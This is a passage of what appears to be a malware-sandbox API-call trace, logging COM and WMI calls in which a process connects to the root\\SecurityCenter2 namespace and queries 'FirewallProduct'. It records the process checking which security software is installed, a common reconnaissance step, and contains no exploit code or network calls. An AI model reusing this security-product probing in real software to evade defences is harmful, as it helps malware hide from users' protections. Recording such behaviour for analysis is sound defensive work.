CoGetContextToken (in: pToken=0x1b0bc690 | out: pToken=0x1b0bc690) returned 0x0 [0157.651] CoGetContextToken (in: pToken=0x1b0bc590 | out: pToken=0x1b0bc590) returned 0x0 [0157.651] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2e00, riid=0x1b0bc6f0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b0bc6c0 | out: ppvObject=0x1b0bc6c0*=0x4f2e00) returned 0x0 [0157.651] WbemDefPath:IUnknown:AddRef (This=0x4f2e00) returned 0x3 [0157.651] WbemDefPath:IUnknown:Release (This=0x4f2e00) returned 0x2 [0157.651] WbemDefPath:IWbemPath:SetText (This=0x4f2e00, uMode=0x4, pszPath="root\\SecurityCenter2") returned 0x0 [0157.651] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2e00, puCount=0x1b0bca78 | out: puCount=0x1b0bca78*=0x2) returned 0x0 [0157.651] WbemDefPath:IWbemPath:GetText (in: This=0x4f2e00, lFlags=4, puBuffLength=0x1b0bca70*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bca70*=0x19, pszText=0x0) returned 0x0 [0157.652] WbemDefPath:IWbemPath:GetText (in: This=0x4f2e00, lFlags=4, puBuffLength=0x1b0bca70*=0x19, pszText="000000000000000000000000" | out: puBuffLength=0x1b0bca70*=0x19, pszText="\\\\.\\root\\SecurityCenter2") returned 0x0 [0157.652] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2e00, puCount=0x1b0bca88 | out: puCount=0x1b0bca88*=0x2) returned 0x0 [0157.652] WbemDefPath:IWbemPath:GetText (in: This=0x4f2e00, lFlags=4, puBuffLength=0x1b0bca80*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bca80*=0x19, pszText=0x0) returned 0x0 [0157.652] WbemDefPath:IWbemPath:GetText (in: This=0x4f2e00, lFlags=4, puBuffLength=0x1b0bca80*=0x19, pszText="000000000000000000000000" | out: puBuffLength=0x1b0bca80*=0x19, pszText="\\\\.\\root\\SecurityCenter2") returned 0x0 [0157.652] CoGetObjectContext (in: riid=0x27128a8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bca08 | out: ppv=0x1b0bca08*=0x4b0108) returned 0x0 [0157.652] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1b0bc9f8 | out: pAptType=0x1b0bc9f8*=1) returned 0x0 [0157.652] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x2712888*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b0bca00 | out: ppvObject=0x1b0bca00*=0x0) returned 0x80004002 [0157.652] IUnknown:Release (This=0x4b0108) returned 0x1 [0157.653] CoGetClassObject (in: rclsid=0x1b2eb4c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bc0c8 | out: ppv=0x1b0bc0c8*=0x1b321080) returned 0x0 [0157.653] WbemLocator:IUnknown:QueryInterface (in: This=0x1b321080, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bc1b0 | out: ppvObject=0x1b0bc1b0*=0x0) returned 0x80004002 [0157.653] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b321080, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc188 | out: ppvObject=0x1b0bc188*=0x1b3211a0) returned 0x0 [0157.653] WbemLocator:IUnknown:Release (This=0x1b321080) returned 0x0 [0157.653] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3211a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbf30 | out: ppvObject=0x1b0bbf30*=0x1b3211a0) returned 0x0 [0157.653] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3211a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbfc0 | out: ppvObject=0x1b0bbfc0*=0x0) returned 0x80004002 [0157.653] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3211a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb7b8 | out: ppvObject=0x1b0bb7b8*=0x0) returned 0x80004002 [0157.653] WbemLocator:IUnknown:AddRef (This=0x1b3211a0) returned 0x3 [0157.653] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3211a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb678 | out: ppvObject=0x1b0bb678*=0x0) returned 0x80004002 [0157.653] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3211a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb600 | out: ppvObject=0x1b0bb600*=0x0) returned 0x80004002 [0157.653] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3211a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb5f0 | out: ppvObject=0x1b0bb5f0*=0x0) returned 0x80004002 [0157.653] CoGetContextToken (in: pToken=0x1b0bb6a0 | out: pToken=0x1b0bb6a0) returned 0x0 [0157.654] CoGetContextToken (in: pToken=0x1b0bbb20 | out: pToken=0x1b0bbb20) returned 0x0 [0157.654] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3211a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbbe0 | out: ppvObject=0x1b0bbbe0*=0x0) returned 0x80004002 [0157.654] WbemLocator:IUnknown:Release (This=0x1b3211a0) returned 0x2 [0157.654] WbemLocator:IUnknown:Release (This=0x1b3211a0) returned 0x1 [0157.654] CoGetContextToken (in: pToken=0x1b0bc560 | out: pToken=0x1b0bc560) returned 0x0 [0157.654] CoGetContextToken (in: pToken=0x1b0bc460 | out: pToken=0x1b0bc460) returned 0x0 [0157.654] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3211a0, riid=0x1b0bc5c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b0bc590 | out: ppvObject=0x1b0bc590*=0x1b3211a0) returned 0x0 [0157.654] WbemLocator:IUnknown:AddRef (This=0x1b3211a0) returned 0x3 [0157.654] WbemLocator:IUnknown:Release (This=0x1b3211a0) returned 0x2 [0157.654] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2e00, puCount=0x1b0bc998 | out: puCount=0x1b0bc998*=0x2) returned 0x0 [0157.654] WbemDefPath:IWbemPath:GetText (in: This=0x4f2e00, lFlags=8, puBuffLength=0x1b0bc990*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc990*=0x19, pszText=0x0) returned 0x0 [0157.655] WbemDefPath:IWbemPath:GetText (in: This=0x4f2e00, lFlags=8, puBuffLength=0x1b0bc990*=0x19, pszText="000000000000000000000000" | out: puBuffLength=0x1b0bc990*=0x19, pszText="\\\\.\\root\\SecurityCenter2") returned 0x0 [0157.655] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b0bc6d0 | out: ppv=0x1b0bc6d0*=0x1b3211e0) returned 0x0 [0157.655] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b3211e0, strNetworkResource="\\\\.\\root\\SecurityCenter2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b0bc858 | out: ppNamespace=0x1b0bc858*=0x1b340860) returned 0x0 [0157.681] WbemLocator:IUnknown:QueryInterface (in: This=0x1b340860, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc548 | out: ppvObject=0x1b0bc548*=0x1b352520) returned 0x0 [0157.681] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b352520, pProxy=0x1b340860, pAuthnSvc=0x1b0bc610, pAuthzSvc=0x1b0bc590, pServerPrincName=0x1b0bc5b8, pAuthnLevel=0x1b0bc594, pImpLevel=0x1b0bc5a0, pAuthInfo=0x1b0bc5c8, pCapabilites=0x1b0bc5a4 | out: pAuthnSvc=0x1b0bc610*=0xa, pAuthzSvc=0x1b0bc590*=0x0, pServerPrincName=0x1b0bc5b8, pAuthnLevel=0x1b0bc594*=0x6, pImpLevel=0x1b0bc5a0*=0x2, pAuthInfo=0x1b0bc5c8, pCapabilites=0x1b0bc5a4*=0x1) returned 0x0 [0157.681] WbemLocator:IUnknown:Release (This=0x1b352520) returned 0x1 [0157.681] WbemLocator:IUnknown:QueryInterface (in: This=0x1b340860, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc4e0 | out: ppvObject=0x1b0bc4e0*=0x1b352568) returned 0x0 [0157.681] WbemLocator:IUnknown:QueryInterface (in: This=0x1b340860, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc4f0 | out: ppvObject=0x1b0bc4f0*=0x1b352520) returned 0x0 [0157.681] WbemLocator:IClientSecurity:SetBlanket (This=0x1b352520, pProxy=0x1b340860, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0157.682] WbemLocator:IUnknown:Release (This=0x1b352520) returned 0x2 [0157.682] WbemLocator:IUnknown:Release (This=0x1b352568) returned 0x1 [0157.682] CoTaskMemFree (pv=0x1b33fe40) [0157.682] WbemLocator:IUnknown:Release (This=0x1b3211e0) returned 0x0 [0157.682] WbemLocator:IUnknown:QueryInterface (in: This=0x1b340860, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbfe0 | out: ppvObject=0x1b0bbfe0*=0x1b352568) returned 0x0 [0157.682] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352568, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bc070 | out: ppvObject=0x1b0bc070*=0x0) returned 0x80004002 [0157.683] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352568, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbc90 | out: ppvObject=0x1b0bbc90*=0x0) returned 0x80004002 [0157.683] WbemLocator:IUnknown:QueryInterface (in: This=0x1b340860, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb868 | out: ppvObject=0x1b0bb868*=0x0) returned 0x80004002 [0157.683] WbemLocator:IUnknown:AddRef (This=0x1b352568) returned 0x3 [0157.683] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352568, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb728 | out: ppvObject=0x1b0bb728*=0x0) returned 0x80004002 [0157.683] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352568, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb6b0 | out: ppvObject=0x1b0bb6b0*=0x0) returned 0x80004002 [0157.683] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352568, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb6a0 | out: ppvObject=0x1b0bb6a0*=0x1b352448) returned 0x0 [0157.684] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b352448, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb6c8 | out: pCid=0x1b0bb6c8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.684] WbemLocator:IUnknown:Release (This=0x1b352448) returned 0x3 [0157.684] CoGetContextToken (in: pToken=0x1b0bb750 | out: pToken=0x1b0bb750) returned 0x0 [0157.684] CoGetContextToken (in: pToken=0x1b0bbbd0 | out: pToken=0x1b0bbbd0) returned 0x0 [0157.684] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352568, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbc90 | out: ppvObject=0x1b0bbc90*=0x1b352530) returned 0x0 [0157.684] WbemLocator:IRpcOptions:Query (in: This=0x1b352530, pPrx=0x1b352568, dwProperty=2, pdwValue=0x1b0bbc80 | out: pdwValue=0x1b0bbc80) returned 0x80004002 [0157.684] WbemLocator:IUnknown:Release (This=0x1b352530) returned 0x3 [0157.684] WbemLocator:IUnknown:Release (This=0x1b352568) returned 0x2 [0157.684] CoGetContextToken (in: pToken=0x1b0bc290 | out: pToken=0x1b0bc290) returned 0x0 [0157.684] CoGetContextToken (in: pToken=0x1b0bc190 | out: pToken=0x1b0bc190) returned 0x0 [0157.684] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352568, riid=0x1b0bc2f0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b0bc2c0 | out: ppvObject=0x1b0bc2c0*=0x1b340860) returned 0x0 [0157.684] WbemLocator:IUnknown:AddRef (This=0x1b340860) returned 0x4 [0157.684] WbemLocator:IUnknown:Release (This=0x1b340860) returned 0x3 [0157.684] WbemLocator:IUnknown:Release (This=0x1b340860) returned 0x2 [0157.684] SysStringLen (param_1=0x0) returned 0x0 [0157.684] CoGetContextToken (in: pToken=0x1b0bc3d0 | out: pToken=0x1b0bc3d0) returned 0x0 [0157.684] WbemLocator:IUnknown:AddRef (This=0x1b352568) returned 0x3 [0157.684] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352568, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc3d0 | out: ppvObject=0x1b0bc3d0*=0x1b352568) returned 0x0 [0157.684] WbemLocator:IUnknown:Release (This=0x1b352568) returned 0x3 [0157.684] WbemLocator:IUnknown:Release (This=0x1b352568) returned 0x2 [0157.685] CoGetContextToken (in: pToken=0x1b0bc500 | out: pToken=0x1b0bc500) returned 0x0 [0157.685] WbemLocator:IUnknown:AddRef (This=0x1b340860) returned 0x3 [0157.685] IWbemServices:ExecQuery (in: This=0x1b340860, strQueryLanguage="WQL", strQuery="SELECT * FROM FirewallProduct", lFlags=16, pCtx=0x0, ppEnum=0x1b0bc9a8 | out: ppEnum=0x1b0bc9a8*=0x1b34c270) returned 0x0 [0157.690] IUnknown:QueryInterface (in: This=0x1b34c270, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc678 | out: ppvObject=0x1b0bc678*=0x1b34c278) returned 0x0 [0157.690] IClientSecurity:QueryBlanket (in: This=0x1b34c278, pProxy=0x1b34c270, pAuthnSvc=0x1b0bc740, pAuthzSvc=0x1b0bc6c0, pServerPrincName=0x1b0bc6e8, pAuthnLevel=0x1b0bc6c4, pImpLevel=0x1b0bc6d0, pAuthInfo=0x1b0bc6f8, pCapabilites=0x1b0bc6d4 | out: pAuthnSvc=0x1b0bc740*=0xa, pAuthzSvc=0x1b0bc6c0*=0x0, pServerPrincName=0x1b0bc6e8, pAuthnLevel=0x1b0bc6c4*=0x6, pImpLevel=0x1b0bc6d0*=0x2, pAuthInfo=0x1b0bc6f8, pCapabilites=0x1b0bc6d4*=0x1) returned 0x0 [0157.690] IUnknown:Release (This=0x1b34c278) returned 0x1 [0157.691] IUnknown:QueryInterface (in: This=0x1b34c270, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc610 | out: ppvObject=0x1b0bc610*=0x1b351048) returned 0x0 [0157.691] IUnknown:QueryInterface (in: This=0x1b34c270, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc620 | out: ppvObject=0x1b0bc620*=0x1b34c278) returned 0x0 [0157.691] IClientSecurity:SetBlanket (This=0x1b34c278, pProxy=0x1b34c270, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0157.692] IUnknown:Release (This=0x1b34c278) returned 0x2 [0157.692] WbemLocator:IUnknown:Release (This=0x1b351048) returned 0x1 [0157.692] CoTaskMemFree (pv=0x1b33f9c0) [0157.693] IUnknown:QueryInterface (in: This=0x1b34c270, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc0e0 | out: ppvObject=0x1b0bc0e0*=0x1b351048) returned 0x0 [0157.693] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bc170 | out: ppvObject=0x1b0bc170*=0x0) returned 0x80004002 [0157.693] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbd90 | out: ppvObject=0x1b0bbd90*=0x0) returned 0x80004002 [0157.694] IUnknown:QueryInterface (in: This=0x1b34c270, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb968 | out: ppvObject=0x1b0bb968*=0x0) returned 0x80004002 [0157.694] WbemLocator:IUnknown:AddRef (This=0x1b351048) returned 0x3 [0157.694] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb828 | out: ppvObject=0x1b0bb828*=0x0) returned 0x80004002 [0157.694] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb7b0 | out: ppvObject=0x1b0bb7b0*=0x0) returned 0x80004002 [0157.694] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb7a0 | out: ppvObject=0x1b0bb7a0*=0x1b350f28) returned 0x0 [0157.694] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b350f28, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb7c8 | out: pCid=0x1b0bb7c8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.694] WbemLocator:IUnknown:Release (This=0x1b350f28) returned 0x3 [0157.694] CoGetContextToken (in: pToken=0x1b0bb850 | out: pToken=0x1b0bb850) returned 0x0 [0157.695] CoGetContextToken (in: pToken=0x1b0bbcd0 | out: pToken=0x1b0bbcd0) returned 0x0 [0157.695] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbd90 | out: ppvObject=0x1b0bbd90*=0x1b351010) returned 0x0 [0157.695] WbemLocator:IRpcOptions:Query (in: This=0x1b351010, pPrx=0x1b351048, dwProperty=2, pdwValue=0x1b0bbd80 | out: pdwValue=0x1b0bbd80) returned 0x80004002 [0157.695] WbemLocator:IUnknown:Release (This=0x1b351010) returned 0x3 [0157.695] WbemLocator:IUnknown:Release (This=0x1b351048) returned 0x2 [0157.695] CoGetContextToken (in: pToken=0x1b0bc390 | out: pToken=0x1b0bc390) returned 0x0 [0157.695] CoGetContextToken (in: pToken=0x1b0bc290 | out: pToken=0x1b0bc290) returned 0x0 [0157.695] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x1b0bc3f0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1b0bc3c0 | out: ppvObject=0x1b0bc3c0*=0x1b34c270) returned 0x0 [0157.695] IUnknown:AddRef (This=0x1b34c270) returned 0x4 [0157.695] IUnknown:Release (This=0x1b34c270) returned 0x3 [0157.695] IUnknown:Release (This=0x1b34c270) returned 0x2 [0157.695] WbemLocator:IUnknown:Release (This=0x1b340860) returned 0x2 [0157.695] SysStringLen (param_1=0x0) returned 0x0 [0157.695] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2e00, puCount=0x1b0bc9e8 | out: puCount=0x1b0bc9e8*=0x2) returned 0x0 [0157.696] WbemDefPath:IWbemPath:GetText (in: This=0x4f2e00, lFlags=4, puBuffLength=0x1b0bc9e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc9e0*=0x19, pszText=0x0) returned 0x0 [0157.696] WbemDefPath:IWbemPath:GetText (in: This=0x4f2e00, lFlags=4, puBuffLength=0x1b0bc9e0*=0x19, pszText="000000000000000000000000" | out: puBuffLength=0x1b0bc9e0*=0x19, pszText="\\\\.\\root\\SecurityCenter2") returned 0x0 [0157.696] CoGetContextToken (in: pToken=0x1b0bc560 | out: pToken=0x1b0bc560) returned 0x0 [0157.696] IUnknown:AddRef (This=0x1b34c270) returned 0x3 [0157.696] IEnumWbemClassObject:Clone (in: This=0x1b34c270, ppEnum=0x1b0bc960 | out: ppEnum=0x1b0bc960*=0x1b334800) returned 0x0 [0157.697] IUnknown:QueryInterface (in: This=0x1b334800, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc6e8 | out: ppvObject=0x1b0bc6e8*=0x1b334808) returned 0x0 [0157.697] IClientSecurity:QueryBlanket (in: This=0x1b334808, pProxy=0x1b334800, pAuthnSvc=0x1b0bc7b0, pAuthzSvc=0x1b0bc730, pServerPrincName=0x1b0bc758, pAuthnLevel=0x1b0bc734, pImpLevel=0x1b0bc740, pAuthInfo=0x1b0bc768, pCapabilites=0x1b0bc744 | out: pAuthnSvc=0x1b0bc7b0*=0xa, pAuthzSvc=0x1b0bc730*=0x0, pServerPrincName=0x1b0bc758, pAuthnLevel=0x1b0bc734*=0x6, pImpLevel=0x1b0bc740*=0x2, pAuthInfo=0x1b0bc768, pCapabilites=0x1b0bc744*=0x1) returned 0x0 [0157.697] IUnknown:Release (This=0x1b334808) returned 0x1 [0157.697] IUnknown:QueryInterface (in: This=0x1b334800, 